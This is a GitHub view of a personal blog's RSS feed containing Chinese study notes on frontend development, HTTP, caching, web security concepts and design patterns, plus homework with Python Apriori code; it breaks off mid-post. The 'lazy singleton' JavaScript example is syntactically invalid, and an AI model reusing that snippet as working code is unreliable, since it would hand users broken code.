-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathindex.xml
2927 lines (2820 loc) · 267 KB
/
index.xml
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676
677
678
679
680
681
682
683
684
685
686
687
688
689
690
691
692
693
694
695
696
697
698
699
700
701
702
703
704
705
706
707
708
709
710
711
712
713
714
715
716
717
718
719
720
721
722
723
724
725
726
727
728
729
730
731
732
733
734
735
736
737
738
739
740
741
742
743
744
745
746
747
748
749
750
751
752
753
754
755
756
757
758
759
760
761
762
763
764
765
766
767
768
769
770
771
772
773
774
775
776
777
778
779
780
781
782
783
784
785
786
787
788
789
790
791
792
793
794
795
796
797
798
799
800
801
802
803
804
805
806
807
808
809
810
811
812
813
814
815
816
817
818
819
820
821
822
823
824
825
826
827
828
829
830
831
832
833
834
835
836
837
838
839
840
841
842
843
844
845
846
847
848
849
850
851
852
853
854
855
856
857
858
859
860
861
862
863
864
865
866
867
868
869
870
871
872
873
874
875
876
877
878
879
880
881
882
883
884
885
886
887
888
889
890
891
892
893
894
895
896
897
898
899
900
901
902
903
904
905
906
907
908
909
910
911
912
913
914
915
916
917
918
919
920
921
922
923
924
925
926
927
928
929
930
931
932
933
934
935
936
937
938
939
940
941
942
943
944
945
946
947
948
949
950
951
952
953
954
955
956
957
958
959
960
961
962
963
964
965
966
967
968
969
970
971
972
973
974
975
976
977
978
979
980
981
982
983
984
985
986
987
988
989
990
991
992
993
994
995
996
997
998
999
1000
<?xml version="1.0" encoding="utf-8" standalone="yes"?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom">
<channel>
<title>3wのblog</title>
<link>https://weivwang.github.io/</link>
<description>Recent content on 3wのblog</description>
<generator>Hugo -- gohugo.io</generator>
<language>en-us</language>
<lastBuildDate>Wed, 24 Nov 2021 22:17:14 +0800</lastBuildDate>
<atom:link href="https://weivwang.github.io/index.xml" rel="self" type="application/rss+xml" />
<item>
<title>技术文章收集</title>
<link>https://weivwang.github.io/studynotes/%E6%8A%80%E6%9C%AF%E6%96%87%E7%AB%A0%E6%94%B6%E9%9B%86/</link>
<pubDate>Wed, 24 Nov 2021 22:17:14 +0800</pubDate>
<guid>https://weivwang.github.io/studynotes/%E6%8A%80%E6%9C%AF%E6%96%87%E7%AB%A0%E6%94%B6%E9%9B%86/</guid>
<description><p>WebRTC:https://mp.weixin.qq.com/s/VQwvyaitC1L8noIq5Bnwjw</p>
<p>讲了WebRTC和NAT</p>
<p>汇编语言:https://mp.weixin.qq.com/s?__biz=MzkwMDE1MzkwNQ==&amp;mid=2247496045&amp;idx=1&amp;sn=74265846bffaa3ed01b6226ec47c7b11&amp;source=41#wechat_redirect</p>
<p>操作系统进程和线程:https://juejin.cn/post/6844904080393912327</p>
</description>
</item>
<item>
<title>腾讯文档&武大前端菁英班笔记</title>
<link>https://weivwang.github.io/studynotes/%E8%85%BE%E8%AE%AF%E6%96%87%E6%A1%A3-%E6%AD%A6%E5%A4%A7/</link>
<pubDate>Sat, 20 Nov 2021 18:18:40 +0800</pubDate>
<guid>https://weivwang.github.io/studynotes/%E8%85%BE%E8%AE%AF%E6%96%87%E6%A1%A3-%E6%AD%A6%E5%A4%A7/</guid>
<description><h1 id="腾讯文档-武大web前端">腾讯文档-武大:web前端</h1>
<p>##第一周:前端基础及ES6讲解</p>
<h3 id="前端三剑客">前端三剑客</h3>
<ul>
<li>
<p>html:结构 。</p>
<p>块:div,h1,p,header等;行内元素:span,input,img,a</p>
<p>Html5: 提供了更加语义化的标签。</p>
<p>&lt;meta&gt; 描述html元数据,定义页面作者,浏览器解析。</p>
</li>
<li>
<p>css:外观</p>
<ul>
<li><strong>css选择器</strong></li>
<li><strong>盒模型</strong></li>
<li><strong>Flex</strong>,栅格布局</li>
<li><strong>定位</strong>:relative,absolute,fixed(相对浏览器窗口的固定位置)</li>
</ul>
</li>
<li>
<p>js:行为</p>
<ul>
<li>函数</li>
<li>对象</li>
<li>闭包</li>
<li>原型链</li>
</ul>
<p><img src="https://i.loli.net/2021/10/30/GP1iKmzwDvlWqLR.png" alt="image-20211030103810153"></p>
<ul>
<li>DOM</li>
</ul>
</li>
</ul>
<h2 id="第二周">第二周</h2>
<h2 id="typescript">TypeScript</h2>
<p>TypeScript = Typed JavaScript at Any Scale</p>
<h3 id="typescript是什么">TypeScript是什么</h3>
<p><strong>TypeScript</strong> <strong>是</strong> <strong>JavaScript</strong> <strong>的严格超集</strong>,类型是TS最核心的特性,TS适用于任何规模的项目</p>
<ul>
<li>JavaScript是解释类型语言,没有编译阶段,运行时进行类型检查</li>
<li>TS运行前需要先编译为JS,编译阶段会进行类型检查,所以TS是静态类型</li>
<li>TS是弱类型语言,和JS都允许隐式转换</li>
</ul>
<p>符合最新ECMAScript标准</p>
<h3 id="优点">优点</h3>
<ul>
<li>
<p>TS类型定义和编译器的引入,能够让我们避免掉JS的很多错误</p>
</li>
<li>
<p>在大型系统中,能够知道某个变量的类型定义是很有价值的。</p>
</li>
</ul>
<h2 id="react优势">React优势</h2>
<ul>
<li>组件化</li>
<li>数据驱动:修改数据,组件重新渲染</li>
<li>虚拟DOM:在需要的时候会渲染成真实DOM,结合<strong>Diff算法</strong>来提升性能,支持跨平台渲染</li>
</ul>
<p><img src="https://i.loli.net/2021/11/06/TKrxas8FmQAnqV9.png" alt="image-20211106103245624"></p>
<p>父节点,子节点也重新更新。叶子结点更新就只更新叶子结点。</p>
<ul>
<li>跨端渲染</li>
</ul>
<h2 id="npm">NPM</h2>
<p>Package.json:描述项目信息,依赖,版本,脚本等</p>
<p>npm init:初始化项目,生成package.json文件</p>
<p>Npm install:自动安装package.json下面等所有模块</p>
<p>npm publish:发布自己的库到npmjs</p>
<h2 id="第三周">第三周</h2>
<h3 id="构建工具">构建工具</h3>
<p>构建工具:将前端源代码自动转成js,html,css等</p>
<p>比如:ES6 -&gt; ES5</p>
<p>JSX -&gt;运行时js组件</p>
<p><img src="https://i.loli.net/2021/11/20/v1uednkBODXgmFY.png" alt="image-20211120100256903"></p>
<p>例子:</p>
<p>html和js分离时,</p>
<p>原来: html引用同域JS。</p>
<p>现在CDN加载(跨域)</p>
<h3 id="构建工具的发展">构建工具的发展</h3>
<p>早期:seajs, requirejs(node.js)</p>
<p>2011-2014: gulp(基于配置,流式), grunt, webpack, browserify</p>
<p>2015: rollup(解决webpack的一些问题,支持shaking)</p>
<p>2017: parcel</p>
<p>近两年:vite, snowpack(只用打包改动的代码)</p>
<p>webpack社区活跃</p>
<h3 id="为什么webpack不是vite">为什么webpack,不是vite</h3>
<p>从使用广度,构建能力,使用场景,工具生态,webpack是最佳方案</p>
<p>vite生态可能没有webpack成熟,有一些坑</p>
<h3 id="webpack">webpack</h3>
<p>一切皆模块,通过loader转换文件,plugin注入钩子实现</p>
<p>各版本:</p>
<p><img src="https://i.loli.net/2021/11/20/LRStaP4XI7peqxn.png" alt="image-20211120101517055"></p>
<h4 id="基本使用">基本使用</h4>
<p><img src="https://i.loli.net/2021/11/27/maj8pNAzy7CvLhs.png" alt="image-20211120101644649"></p>
<p>Mode:</p>
<ul>
<li>Development: 不压缩,调试</li>
<li>Production:压缩,开启优化选项</li>
</ul>
<p>Output :</p>
<ul>
<li>
<p>Path: 输出文件路径</p>
</li>
<li>
<p>publicPath:配置发布到线上资源的URL前缀</p>
</li>
</ul>
<p>Plugin:</p>
<ul>
<li>比如HtmlWebpackPlugin</li>
</ul>
<p>Loader:webpack核心</p>
<p>把一切文件看作模块,对不同类型的文件,进行不同处理</p>
<p>laoder来扩展对不同文件的处理能力。loader是一个处理函数</p>
<p><img src="https://i.loli.net/2021/11/20/SatmLoOpUsfeRET.png" alt="image-20211120103621263"></p>
<p>读取匹配到的文件源码,进行转换,生成代码</p>
<h4 id="devserver">devServer</h4>
<p>提供http服务而不是本地文件预览</p>
<p>监听文件变化并自动刷新网页</p>
<p><img src="https://i.loli.net/2021/11/20/1dtYKmqxWPCkNo2.png" alt="image-20211120105138440"></p>
<p>hot:true</p>
<p>热更新:在网页不刷新情况下,将老的代码替换为新代码</p>
<h3 id="进阶使用">进阶使用</h3>
<h4 id="es6配置">ES6配置</h4>
<p><img src="https://i.loli.net/2021/11/27/5LecXmMhiztQgCj.png" alt="image-20211120105822869"></p>
<h4 id="图片配置">图片配置</h4>
<p>构建中使用url-loader处理图片资源</p>
<p>使用limit来限制图片大小</p>
<h4 id="页面代码加载优化方式">页面代码加载优化方式</h4>
<p>1、按需加载</p>
<p>大型网站打开时加载全部代码,会导致页面加载缓慢,交互卡顿</p>
<p>使用异步加载的方式,按需加载和使用</p>
<p><img src="https://i.loli.net/2021/11/27/sAxdIBNMOcVPRpL.png" alt="image-20211120112625848"></p>
<p>关键是await语句</p>
<p>2、提取公共代码</p>
<p>打包时会把公共部分打包在一个文件中</p>
<p><img src="https://i.loli.net/2021/11/27/sAxdIBNMOcVPRpL.png" alt="image-20211120113039580"></p>
<h3 id="http和https">Http和https</h3>
<p>usl中的fragment,方便定位页面元素</p>
<p>http:超文本传输协议</p>
<p>http报文分为请求报文和响应报文</p>
<p>http请求方法:</p>
<ul>
<li>GET:从指定资源中请求数据。没有副作用,不会更新资源</li>
<li>POST:用于将数据发送到服务器以创建或更新资源(一般是非幂等)</li>
<li>PUT:和post一样,一般是幂等等</li>
<li>delete</li>
</ul>
<h4 id="get和post区别">GET和POST区别</h4>
<p><img src="https://i.loli.net/2021/11/20/zl5xBq8iwkQLXnf.png" alt="image-20211120141948799"></p>
<h4 id="http状态码">http状态码</h4>
<p><img src="https://i.loli.net/2021/11/27/5dpBuZ1SI8tfVz2.png" alt="image-20211120142308910"></p>
<h4 id="思考为什么http是无连接无状态">思考:为什么http是无连接无状态?</h4>
<p>前提:基于tcp</p>
<p>减轻服务端压力,不用保持链接状态</p>
<p><img src="https://i.loli.net/2021/11/27/I1o5dFx8VMtlBYi.png" alt="image-20211120142853725"></p>
<p>Http1.1的优化</p>
<p><img src="https://i.loli.net/2021/11/20/5a4ZcelGKJhrLBb.png" alt="image-20211120143049907"></p>
<h4 id="https">Https</h4>
<p><img src="https://i.loli.net/2021/11/27/UKZrQLjbTz6MoNu.png" alt="image-20211120143700840"></p>
<h4 id="思考服务器怎么向客户端推送消息">思考:服务器怎么向客户端推送消息</h4>
<p>短轮询</p>
<p>指在特定的的时间间隔(如每1秒),由浏览器对服务器发出HTTP request,然后由服务器返回最新的数据给客户端的浏览器。</p>
<p>请求中有很多是无用的,浪费带宽和服务器资源;响应的结果没有顺序(因为是异步请求,当发送的请求没有返回结果的时候,后面的请求又被发送。而此时如果后面的请求比前面的请 求要先返回结果,那么当前面的请求返回结果数据时已经是过时无效的数据了)</p>
<p>长轮询</p>
<p>客户端向服务器发送Ajax请求,服务器接到请求后hold住连接,直到有新消息才返回响应信息并关闭连接,客户端处理完响应信息后再向服务器发送新的请求。</p>
<p><img src="https://i.loli.net/2021/11/27/5HBktN4mjhixd18.png" alt="image-20211120144400146"></p>
<p>缺点:服务器端一直保持链接,占用资源</p>
<p>解决方法:SSE, server-sent event</p>
<p>web端即时通讯技术</p>
<p>websocket:html5新技术</p>
<p>腾讯文档:你写一个数据在表格中,其他人马上能看到变化。使用websocket,服务器端广播</p>
<h3 id="浏览器跨域问题">浏览器跨域问题</h3>
<h4 id="同源策略">同源策略</h4>
<p>同源:只有 同协议,同域名,同端口,才能叫同源</p>
<h4 id="为什么同源">为什么同源?</h4>
<p>cookie和session 安全问题</p>
<p>cookie相当于一个工牌或者学生卡,别人拿到了也能刷</p>
<p>访问了一个网站之后又访问其他网站,其他网站如果读取第一个网站的cookie怎么办: 同源</p>
<h4 id="如何规避同源策略">如何规避同源策略</h4>
<p><strong>cookie:</strong></p>
<ul>
<li>两个网站一级域名相同,第二级域名不同,可以设置document.domain共享cookie</li>
</ul>
<p><strong>iframe同源策略限制</strong></p>
<p>同源策略下,网页不同,不能拿到另一个网页的dom</p>
<p>解决:h5引入全新API:跨文档通信API: cross-document message</p>
<p><strong>AJAX方法</strong></p>
<ul>
<li>
<p>服务器代理跨域:由服务器端来拿另一个网站的策略</p>
</li>
<li>
<p>JSONP:添加script标签</p>
</li>
<li>
<p><strong>终极解决方案</strong>:CROS, w3c标准,是跨源ajax请求的根本解决方法</p>
<ul>
<li>相比于jsonp只能发get,cros支持任何类型请求</li>
<li>浏览器自动完成,不需要用户参与</li>
</ul>
</li>
</ul>
<h3 id="缓存">缓存</h3>
<h4 id="浏览器缓存">浏览器缓存</h4>
<p>浏览器获取的http资源,保存到本地磁盘</p>
<p><img src="https://i.loli.net/2021/11/27/ck5RjW3H4fbXelL.png" alt="image-20211120151233916"></p>
<p>为什么缓存:</p>
<p>减轻服务器端压力,页面加载速度更快</p>
<h4 id="缓存分类">缓存分类</h4>
<p><img src="https://i.loli.net/2021/11/20/R6E18qYlDVLGMgu.png" alt="image-20211120151344608"></p>
<p><strong>强缓存</strong></p>
<ul>
<li>Expires: http1.0产物,过期了,存在是为了兼容性</li>
<li>Cache- Control: http1.1产物</li>
</ul>
<p><strong>协商缓存</strong></p>
<ul>
<li>
<p>Etag和If-none-match</p>
</li>
<li>
<p><img src="https://i.loli.net/2021/11/20/HjsJiKQqh3CynwU.png" alt="image-20211120151832396"></p>
</li>
<li>
<p>last-modify和if-modify-since</p>
<p>Last-modify:只记录时间</p>
</li>
</ul>
<h4 id="强缓存和协商缓存区别">强缓存和协商缓存区别</h4>
<p>区别在于需不需要向服务器请求</p>
<p><img src="https://i.loli.net/2021/11/20/wGeEasPrfvuoLTO.png" alt="image-20211120152725402"></p>
<p>缓存过程</p>
<p><img src="https://i.loli.net/2021/11/27/Gm9U4O3Q5r2ybdD.png" alt="image-20211120152618378"></p>
<h3 id="网络攻击">网络攻击</h3>
<ul>
<li>
<p>XSS</p>
<p>Cross Site Script跨站脚本,为了和css区分叫xss</p>
<ul>
<li>存储型XSS:黑客将恶意代码发向服务器,服务器端存储。用户访问界面拿到的是有黑客的恶意代码的页面</li>
<li>反射型XSS</li>
<li>基于DOM型的XSS</li>
</ul>
<p>预防XSS:对输入做验证</p>
</li>
<li>
<p>CSRF</p>
<p><img src="https://i.loli.net/2021/11/20/yha9spVJTF4Rigq.png" alt="image-20211120154042064"></p>
<p><img src="https://i.loli.net/2021/11/20/gvWyxtem2rJqafQ.png" alt="image-20211120154204533"></p>
<p>重点是token验证</p>
</li>
</ul>
<h2 id="第四周">第四周</h2>
<h3 id="前端工程化和编码规范">前端工程化和编码规范</h3>
<ul>
<li>目录结构</li>
<li>文件命名规范</li>
<li>代码规范:eslint,prettier</li>
</ul>
<p> 为什么有了eslint还要用prettier?</p>
<p> eslint发现代码错误</p>
<p> prettier是代码格式化器,不关心代码逻辑</p>
<p> husky:</p>
<p> 解决git commit有时候忘记eslint或prettier</p>
<p><img src="https://i.loli.net/2021/11/27/InwVsxga6GWQMAp.png" alt="image-20211127101536124"></p>
<p>Lint staged : 只检查当前改动的eslint,防止把别人的错误检查出来,却要自己改</p>
<ul>
<li>提交规范</li>
</ul>
<p> commitlint</p>
<p> commitizen:可以自己选改动的类型</p>
<h3 id="jest单测">Jest单测</h3>
<p>为什么单测:</p>
<ul>
<li>更少的问题排查时间
<ul>
<li>代码在他的生命周期里实际上不会一成不变</li>
<li>经过测试的代码提交后出现问题的可能性更小</li>
<li>让整个团队受益</li>
</ul>
</li>
<li>更准确的文档
<ul>
<li>维护文档非常痛苦,且容易过时</li>
<li>想知道一段代码的调用方式,可以直接看测试</li>
</ul>
</li>
<li>更方便的代码审核</li>
</ul>
<p><img src="https://i.loli.net/2021/11/27/M35Ty1Omv4tDnaR.png" alt="image-20211127105746414"></p>
<h3 id="设计原则">设计原则</h3>
<p>所有设计模式的实现都遵循一条原则,即“找出程序变化的情况”</p>
<h4 id="单例模式">单例模式</h4>
<p>保证一个类中只有一个实例</p>
<p>在js中全局变量常常被当成单例模式,var a = {} ;</p>
<p>但是同意造成命名空间污染</p>
<p>我们需要尽量减少全局变量的使用</p>
<p>使用闭包封装私有变量:</p>
<div class="highlight"><pre style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4"><code class="language-js" data-lang="js"><span style="color:#66d9ef">var</span> <span style="color:#a6e22e">user</span> <span style="color:#f92672">=</span> (<span style="color:#66d9ef">function</span>(){
<span style="color:#66d9ef">var</span> <span style="color:#a6e22e">userInfo</span> <span style="color:#f92672">=</span> <span style="color:#66d9ef">new</span> <span style="color:#a6e22e">UserInfo</span>();
<span style="color:#66d9ef">return</span>{
<span style="color:#a6e22e">getUserInfo</span><span style="color:#f92672">:</span> <span style="color:#66d9ef">function</span>(){
<span style="color:#66d9ef">return</span> <span style="color:#a6e22e">userInfo</span>;
}
}
})
</code></pre></div><p>怎么避免每次都new一个UserInfo?</p>
<p>使用惰性单例:</p>
<div class="highlight"><pre style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4"><code class="language-js" data-lang="js"><span style="color:#66d9ef">var</span> <span style="color:#a6e22e">user</span> <span style="color:#f92672">=</span> (<span style="color:#66d9ef">function</span>(){
<span style="color:#66d9ef">var</span> <span style="color:#a6e22e">useInfo</span> <span style="color:#f92672">=</span> <span style="color:#66d9ef">null</span>;
<span style="color:#66d9ef">return</span>{
<span style="color:#66d9ef">if</span>(<span style="color:#f92672">!</span><span style="color:#a6e22e">useInfo</span>){
<span style="color:#a6e22e">useInfo</span> <span style="color:#f92672">=</span> <span style="color:#66d9ef">new</span> <span style="color:#a6e22e">UseInfo</span>();
}
<span style="color:#a6e22e">getUseInfo</span><span style="color:#f92672">:</span> <span style="color:#66d9ef">function</span>(){
<span style="color:#66d9ef">return</span> <span style="color:#a6e22e">useInfo</span>;
}
}
})
</code></pre></div><h4 id="发布-订阅模式">发布-订阅模式</h4>
<p>定义对象间一对多的依赖关系,当一个对象的状态发生变化时,所有依赖于它的对象都将得到通知</p>
<p><img src="https://i.loli.net/2021/11/27/LJvbqyolZuHmMzs.png" alt="image-20211127114412606"></p>
<p>加一个中介:</p>
<p><img src="https://i.loli.net/2021/11/27/K2maZGV1tkHPgEo.png" alt="image-20211127114726545"></p>
<p>问题在于:模块之间的联系被隐藏到背后</p>
<h4 id="享元模式">享元模式</h4>
<h4 id="装饰者模式">装饰者模式</h4>
<p>允许向一个现有的对象添加新的功能,同时又不改变其结构</p>
<p>思考一个游戏升级问题,A飞机升级时增加了技能,如何设计?</p>
<p>最简单的方法:继承,问题:数量多,强耦合</p>
<p>装饰器模式。</p>
<h4 id="工厂模式">工厂模式</h4>
<p>提供一种创建对象的方式</p>
<h3 id="设计原则-1">设计原则</h3>
<p>所有的设计原则的目的都是让程序低耦合,高复用,高内聚,易扩展,易维护</p>
<h4 id="单一职责原则">单一职责原则</h4>
<p>一个对象(方法)只做一件事</p>
<p>并不是所有的职责都应该一一分离</p>
<p>srp原则的优点是降低了单个类或对象的复杂度,缺点是增加了代码编写的复杂度</p>
<h4 id="开闭原则">开闭原则</h4>
<p>软件实体(类,模块,函数)等应该是可以扩展的,但是不可修改</p>
<ul>
<li>对软件测试友好,不会破环原有的测试程序</li>
<li>改动代码是一个危险的行为,经常不知不觉引发了其他bug</li>
</ul>
<p>通过封装变化的方式,把系统中稳定不变的部分和容易变化的部分隔离开来</p>
<p>如:发布订阅模式,新的订阅者出现后,发布者不需要修改任何代码</p>
<h4 id="依赖倒置原则">依赖倒置原则</h4>
<p>面向接口编程而不是面向实现编程</p>
</description>
</item>
<item>
<title>商务智能课堂笔记</title>
<link>https://weivwang.github.io/studynotes/%E5%95%86%E5%8A%A1%E6%99%BA%E8%83%BD%E8%AF%BE%E5%A0%82%E7%AC%94%E8%AE%B0/</link>
<pubDate>Thu, 18 Nov 2021 10:13:02 +0800</pubDate>
<guid>https://weivwang.github.io/studynotes/%E5%95%86%E5%8A%A1%E6%99%BA%E8%83%BD%E8%AF%BE%E5%A0%82%E7%AC%94%E8%AE%B0/</guid>
<description><p>商务智能课堂笔记,对这一部分比较感兴趣。</p>
<p>看PDF应该是老师和百度有合作,内容都是PaddlePaddle提供的。</p>
<p><img src="https://i.loli.net/2021/11/18/slkGtz6MLpEnFoW.png" alt="image-20211118101711178"></p>
<p><img src="https://i.loli.net/2021/11/18/g6NcMXWOvnlwtbE.png" alt="image-20211118101602534"></p>
<p><img src="https://i.loli.net/2021/11/18/yoAmtRuePxgc7h5.png" alt="image-20211118102252963"></p>
<p>作业 记录</p>
<p><strong>1.</strong> <em><strong>*请说明描述性分析、 预测性分析、 规范性分析的含义,并采用一个综合例子说明这三种分析的应用。(*</strong></em><em><strong>*12*</strong></em><em><strong>*分)*</strong></em></p>
<p>描述性分析:描述已经发生了什么。它是对历史的洞察,即回答“发生了什么?”。描述性分析使用简单的数学和统计方法就能实现,典型的分析指标例如计数、均值、中位数、众数、方差、分布、相关系数等。</p>
<p>预测性分析:预测将会发生什么。预测性分析大多是基于概率的,即预测事件在未来发生的概率,或者事件在大概率上会如何发生。在预测性分析中,使用了多种技术,例如数据挖掘,统计建模和机器学习算法(分类,回归和聚类技术)等等,它最终的目的是试图预测可能的未来结果并提供这些结果发生的可能性。</p>
<p>规范性分析:提供应该怎么办的建议。规范性分析吸收描述性分析与预测性分析中的结论,通过为企业推荐最佳的可行方案来得到行动建议</p>
<p>例子:比如一家短视频公司需要分析用户的视频喜好,从未为用户推荐更多他们喜爱的短视频类型。</p>
<p>使用描述性分析,分析用户在平台上观看短视频的数据,计算方差,均值,还有一些相关系数:年龄和视频类型的相关系数,性别和视频类型的相关系数等。</p>
<p>使用预测性分析:将拿到的数据进行分类,回归,聚类等其他机器学习算法,或者将数据投喂给深度学习模型,从而实现预测,比如拿到用户的性别年龄,过往喜好来预测用户对哪些短视频更有兴趣。</p>
<p>使用规范性分析:根据用户的这种偏好,平台怎么调整自己的策略来让用户对产品的粘性更高。比如把更多用户偏好的短视频推荐给他们,把与之相关的广告更精准推荐给他们。</p>
<p><strong>2.</strong> <em><strong>*请描述数据挖掘的步骤,请简述每个步骤的基本含义。(*</strong></em><em><strong>*10*</strong></em><em><strong>*分)*</strong></em></p>
<p>步骤(1)<em><strong>*信息收集*</strong></em>:根据确定的数据分析对象,抽象出在数据分析中所需要的特征信息,然后选择合适的信息收集方法,将收集到的信息存入数据库。对于海量数据,选择一个合适的数据存储和管理的数据仓库是至关重要的。</p>
<p>步骤(2)<em><strong>*数据集成*</strong></em>:把不同来源、格式、特点性质的数据在逻辑上或物理上有机地集中,从而为企业提供全面的数据共享。</p>
<p>步骤(3)<em><strong>*数据规约*</strong></em>:如果执行多数的数据挖掘算法,即使是在少量数据上也需要很长的时间,而做商业运营数据挖掘时数据量往往非常大。数据规约技术可以用来得到数据集的规约表示,它小得多,但仍然接近于保持原数据的完整性,并且规约后执行数据挖掘结果与规约前执行结果相同或几乎相同。</p>
<p>步骤(4)<em><strong>*数据清理*</strong></em>:在数据库中的数据有一些是不完整的(有些感兴趣的属性缺少属性值)、含噪声的(包含错误的属性值),并且是不一致的(同样的信息不同的表示方式),因此需要进行数据清理,将完整、正确、一致的数据信息存入数据仓库中。不然,挖掘的结果会差强人意。</p>
<p>步骤(5)<em><strong>*数据变换*</strong></em>:通过平滑聚集、数据概化、规范化等方式将数据转换成适用于数据挖掘的形式。对于有些实数型数据,通过概念分层和数据的离散化来转换数据也是重要的一步。</p>
<p>步骤(6)<em><strong>*数据挖掘过程*</strong></em>:根据数据仓库中的数据信息,选择合适的分析工具,应用统计方法、事例推理、决策树、规则推理、模糊集,甚至神经网络、遗传算法的方法处理信息,得出有用的分析信息。</p>
<p>步骤(7)<em><strong>*模式评估*</strong></em>:从商业角度,由行业专家来验证数据挖掘结果的正确性。</p>
<p>步骤(8)<em><strong>*知识表示*</strong></em>:将数据挖掘所得到的分析信息以可视化的方式呈现给用户,或作为新的知识存放在知识库中,供其他应用程序使用。</p>
<p><strong>3.</strong> <em><strong>*请*</strong></em><em><strong>*编写程序实现*</strong></em><em><strong>*A*</strong></em><em><strong>*priori*</strong></em><em><strong>*算法*</strong></em><em><strong>*和*</strong></em><em><strong>*FP*</strong></em><em><strong>*-*</strong></em><em><strong>*G*</strong></em><em><strong>*rowth*</strong></em><em><strong>*算法,算法*</strong></em><em><strong>*可以根据*</strong></em><em><strong>*给定*</strong></em><em><strong>*的支持度和置信度获取所有的频繁项集*</strong></em><em><strong>*和*</strong></em><em><strong>*关联规则。*</strong></em><em><strong>*请自拟数据集进行测试。(2*</strong></em><em><strong>*5*</strong></em><em><strong>*分)*</strong></em></p>
<p>Apriori算法:</p>
<p>核心代码:</p>
<pre><code>#!/usr/bin/env python3
# -*- coding: utf-8 -*-
def loadDataSet():
return [[1,3,4],[2,3,5],[1,2,3,5],[2,5]]
#发现频繁项集
def createC1(dataSet):
C1=[]
for transaction in dataSet:
for item in transaction:
if not [item] in C1:
C1.append([item])
C1.sort()
return list(map(frozenset,C1))
def scanD(D,CK,minSupport):
ssCnt = {}
for tid in D:
for can in CK:
if can.issubset(tid):
if not can in ssCnt:ssCnt[can]=1
else:ssCnt[can]+=1
numItems = float(len(D))
retList = []
supportData={}
for key in ssCnt:
support = ssCnt[key]/numItems
if support&gt;=minSupport:
retList.insert(0,key)
supportData[key]=support
return retList,supportData
#频繁项集两两组合
def aprioriGen(Lk,k):
retList=[]
lenLk = len(Lk)
for i in range(lenLk):
for j in range(i+1,lenLk):
L1=list(Lk[i])[:k-2];L2=list(Lk[j])[:k-2]
L1.sort();L2.sort()
if L1==L2:
retList.append(Lk[i]|Lk[j])
return retList
# 最小支持度域值设置为0.5
def apriori(dataSet,minSupport=0.7):
C1=createC1(dataSet)
D=list(map(set,dataSet))
L1,supportData =scanD(D,C1,minSupport)
L=[L1]
k=2
while(len(L[k-2])&gt;0):
CK = aprioriGen(L[k-2],k)
Lk,supK = scanD(D,CK,minSupport)
supportData.update(supK)
L.append(Lk)
k+=1
return L,supportData
# 找关联规则
# 规则计算的主函数
def generateRules(L,supportData,minConf=0.5):
bigRuleList = []
for i in range(1,len(L)):
for freqSet in L[i]:
H1 = [frozenset([item]) for item in freqSet]
if(i&gt;1):
rulesFromConseq(freqSet,H1,supportData,bigRuleList,minConf)
else:
calcConf(freqSet,H1,supportData,bigRuleList,minConf)
return bigRuleList
def calcConf(freqSet,H,supportData,brl,minConf=0.5):
prunedH=[]
for conseq in H:
conf = supportData[freqSet]/supportData[freqSet-conseq]
if conf&gt;=minConf:
print (freqSet-conseq,'---&gt;',conseq,'conf:',conf)
brl.append((freqSet-conseq,conseq,conf))
prunedH.append(conseq)
return prunedH
def rulesFromConseq(freqSet,H,supportData,brl,minConf=0.7):
m = len(H[0])
if (len(freqSet)&gt;(m+1)):
Hmp1 = aprioriGen(H,m+1)
Hmp1 = calcConf(freqSet,Hmp1,supportData,brl,minConf)
if(len(Hmp1)&gt;1):
rulesFromConseq(freqSet,Hmp1,supportData,brl,minConf)
if __name__=='__main__':
dataSet=loadDataSet()
L,supportData=apriori(dataSet)
rules = generateRules(L,supportData,minConf=0.5)
</code></pre><p>拟定数据:</p>
